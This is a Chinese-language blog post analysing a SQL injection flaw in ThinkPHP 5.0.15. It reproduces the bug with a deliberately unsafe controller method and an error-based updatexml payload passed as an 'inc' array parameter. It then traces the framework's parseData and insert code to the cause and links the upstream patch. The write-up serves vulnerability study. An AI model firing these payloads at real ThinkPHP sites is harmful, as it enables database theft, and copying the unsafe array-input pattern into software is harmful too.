前言

前段时间,晴天师傅在朋友圈发了一张ThinkPHP 注入的截图。最近几天忙于找工作的事情,没来得及看。趁着中午赶紧搭起环境分析一波。Think PHP就不介绍了,搞PHP的都应该知道。

环境搭建

  本文中的测试环境为ThinkPHP 5.0.15的版本。下载,解压好以后,开始配置。首先开启debug,方便定位问题所在。修改application\config.php, app_debug和app_trace都改成true。然后创建数据库,并且修改application\database.php为自己数据库的配置。

我这里创建数据库需要的sql文件:

create table `user` (
`uid` int(10) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL DEFAULT '',
`password` varchar(255) NOT NULL DEFAULT '',
PRIMARY KEY (`uid`)
)ENGINE=InnoDB DEFAULT CHARSET=UTF8;

然后我们找到application\index\controller\Index.php这个文件,也就是我们的控制器文件,然后添加如下方法:

    public function sqli() {
// 从GET数组方式获取用户信息
$user = input('get.username/a');
// 实例化数据库类并且调用insert方法进行数据库插入操作
db('user')->where(['uid' =>1])->insert(['username' => $user]);
}

漏洞复现

然后我们访问:http://127.0.0.1/thinkphp_5.0.15_full/public/index.php/index/index/sqli?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=233

注意这里的路径的问题,ThinkPHP的默认入口文件在public目录下的index.php。具体可以自行跟进。

然后我们可以看到已经成功查询出当前数据库的信息:

漏洞分析:

我们重点来看报错的堆栈信息:

 in Connection.php line 456
at Connection->execute('INSERT INTO `user` (...', []) in Query.php line 241
at Query->execute('INSERT INTO `user` (...', []) in Query.php line 2095
at Query->insert(['username' => ['inc', 'updatexml(1,concat(0...', '233']]) in Index.php line 15
at Index->sqli()
at ReflectionMethod->invokeArgs(object(Index), []) in App.php line 343
at App::invokeMethod([object(Index), 'sqli'], []) in App.php line 595
at App::module(['index', 'index', 'sqli'], ['app_host' => '', 'app_debug' => true, 'app_trace' => true, ...], null) in App.php line 457
at App::exec(['type' => 'module', 'module' => ['index', 'index', 'sqli']], ['app_host' => '', 'app_debug' => true, 'app_trace' => true, ...]) in App.php line 139
at App::run() in start.php line 19
at require('D:\phpstudy\WWW\thin...') in index.php line 17

很明显到第五行以后的部分都是框架初始化的部分,我们可以略过。感兴趣可以自行研究。我们重点关心后续SQL执行的操作。

我们看到在第五行调用Index类中的sqli方法的时候调用了Query类的insert方法,这个类在 thinkphp\library\think\db\Query.php, 2079行。然后我打印这里传入的第一个参数,也就是参数表中的$data参数,结果如下:

array(1) { ["username"]=> array(3) { [0]=> string(3) "inc" [1]=> string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)" [2]=> string(3) "233" } }

然后我们传入的username数组。然后我们跟踪整个数据流的传递过程。insert函数中首先进行的时候$options = $this->parseExpress();注释里边写的很清楚了,分析查询表达式,我们重点关心data数据的传递流程。

     public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// var_dump($data);exit();
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
var_dump($data);exit();
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
// 获取参数绑定
$bind = $this->getBind();
if ($options['fetch_sql']) {
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
} // 执行操作
$result = 0 === $sql ? 0 : $this->execute($sql, $bind);
if ($result) {
$sequence = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
$lastInsId = $this->getLastInsID($sequence);
if ($lastInsId) {
$pk = $this->getPk($options);
if (is_string($pk)) {
$data[$pk] = $lastInsId;
}
}
$options['data'] = $data;
$this->trigger('after_insert', $options); if ($getLastInsID) {
return $lastInsId;
}
}
return $result;
}

在合并数组之后,$data的内容为,

array(1) {
["username"]=>
array(3) {
[0]=>
string(3) "inc"
[1]=>
string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)"
[2]=>
string(3) "233"
}
}

然后生成sql,也就是如下操作:

$sql = $this->builder->insert($data, $options, $replace);

在这步执行完成以后,打印一下sql。结果如下:

string(85) "INSERT INTO `user` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+233) "

至此,我们的漏洞定位已经完成。在builder类中调用insert方法时候的问题,我们跟进就好了:

    public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
$fields = array_keys($data);
$values = array_values($data); $sql = str_replace(
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table'], $options),
implode(' , ', $fields),
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql); return $sql;
}

我们看到首先进行的操作是

$data = $this->parseData($data, $options);

继续跟进,在parseData函数中,对$data进行了遍历,然后如果val的第一个元素为inc,dec或者exp都会进入拼接。然后生成sql。

代码如下:

    protected function parseData($data, $options)
{
if (empty($data)) {
return [];
} // 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
} $result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}

接着在insert方法中进行字符替换,然后返回最终执行的sql语句。

参考文章:

【先知社区】https://xz.aliyun.com/t/2257

【Github补丁】https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b

ThinkPHP 5.0.x SQL注入分析的更多相关文章

  1. 技能提升丨Seacms 8.7版本SQL注入分析

    有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解.其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注 ...

  2. Mybatis3.0防止SQL注入

    一.什么是SQL注入 引用搜狗百科: SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如很多影视网站泄露VIP会员密码大 ...

  3. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  4. 动态分析小示例| 08CMS SQL 注入分析

    i春秋作家:yanzm 0×00 背景 本周,拿到一个源码素材是08cms的,这个源码在官网中没有开源下载,需要进行购买,由某师傅提供的,审计的时候发现这个CMS数据传递比较复杂,使用静态分析的方式不 ...

  5. ThinkPHP 3.0~3.2 注入漏洞

    地址:http://xx.com/index.php/Admin.php?s=/User/Public/check payload:act=verify&username[0]=='1')) ...

  6. DT6.0关于SQL注入漏洞修复问题

    阿里云安全平台提示:Destoon SQL注入,关于: Destoon的/mobile/guestbook.php中$do->add($post);这行代码对参数$post未进行正确转义,导致黑 ...

  7. Joomla!3.7.0 Core SQL注入漏洞动态调试草稿

    参考joolma的mvc框架讲解:http://www.360doc.com/content/11/1219/18/1372409_173441270.shtml 从这个页面开始下断点:Joomla_ ...

  8. sql注入分析

    输入 1:sql为:select * from users where id = 1; 输入'测试:回显:You have an error in your SQL syntax; check the ...

  9. Discuz 5.x/6.x/7.x投票SQL注入分析

    看乌云有人爆了这个漏洞:http://www.wooyun.org/bugs/wooyun-2014-071516感觉应该是editpost.inc.php里投票的漏洞.因为dz已经确定不会再修补7. ...

随机推荐

  1. [Training Video - 4] [Groovy] String Functions

    def x="I like to read books before bed" def temp = x.split(" ") log.info "S ...

  2. 命令: go build

    命令: go build 参考: https://studygolang.com/articles/9463 go help build 构建编译由导入路径命名的包,以及它们的依赖关系,但它不会安装结 ...

  3. struts2 action result type类型

    struts2 action result type类型 1.chain:用来处理Action链,被跳转的action中仍能获取上个页面的值,如request信息. com.opensymphony. ...

  4. Oracle学习笔记(五)

    七.查询 1.基本查询语句 select 列名字,列名字 from 表名字 例如 select user_a_id from userinfo; 2.在SQL*PLUS中设置格式 (1)设置新的字段名 ...

  5. 一文读懂spark yarn集群搭建

    文是超简单的spark yarn配置教程: yarn是hadoop的一个子项目,目的是用于管理分布式计算资源,在yarn上面搭建spark集群需要配置好hadoop和spark.我在搭建集群的时候有3 ...

  6. CI框架下的PHP增删改查总结

    controllers下的 cquery.php文件 <?php class CQuery extends Controller { //构造函数 function CQuery() { par ...

  7. ios中改变UIImagePickerController页面的button的文字为中文

    可以在工程中直接 project-->info-->Localization native development region   赋值为 zh_CN

  8. awk基础01-基本用法

    什么是awk     awk 是一门解释型的编程语言,支持条件判断,数组.循环等功能.可用于文本处理.输出格式化的文本信息.执行数学运算.字符串等操作.     awk在处理文件时按行进行逐行处理,即 ...

  9. 装饰者模式及C++实现

    装饰者模式 时常会遇到这样一种情况,我已经设计好了一个接口,并且也有几个实现类,但是这时我发现我设计的时候疏忽了,忘记了一些功能,或者后来需求变动要求加入一些功能,最简单的做法就是修改接口,添加函数, ...

  10. linux常见命令-查看磁盘空间

    linux查看磁盘使用情况命令 1. 统一每个目录下磁盘的整体情况: df -h 2. 查看指定目录,在命令后直接放目录名,比如查看“usr”目录使用情况:df -h  /usr/ 3. 查看当前目录 ...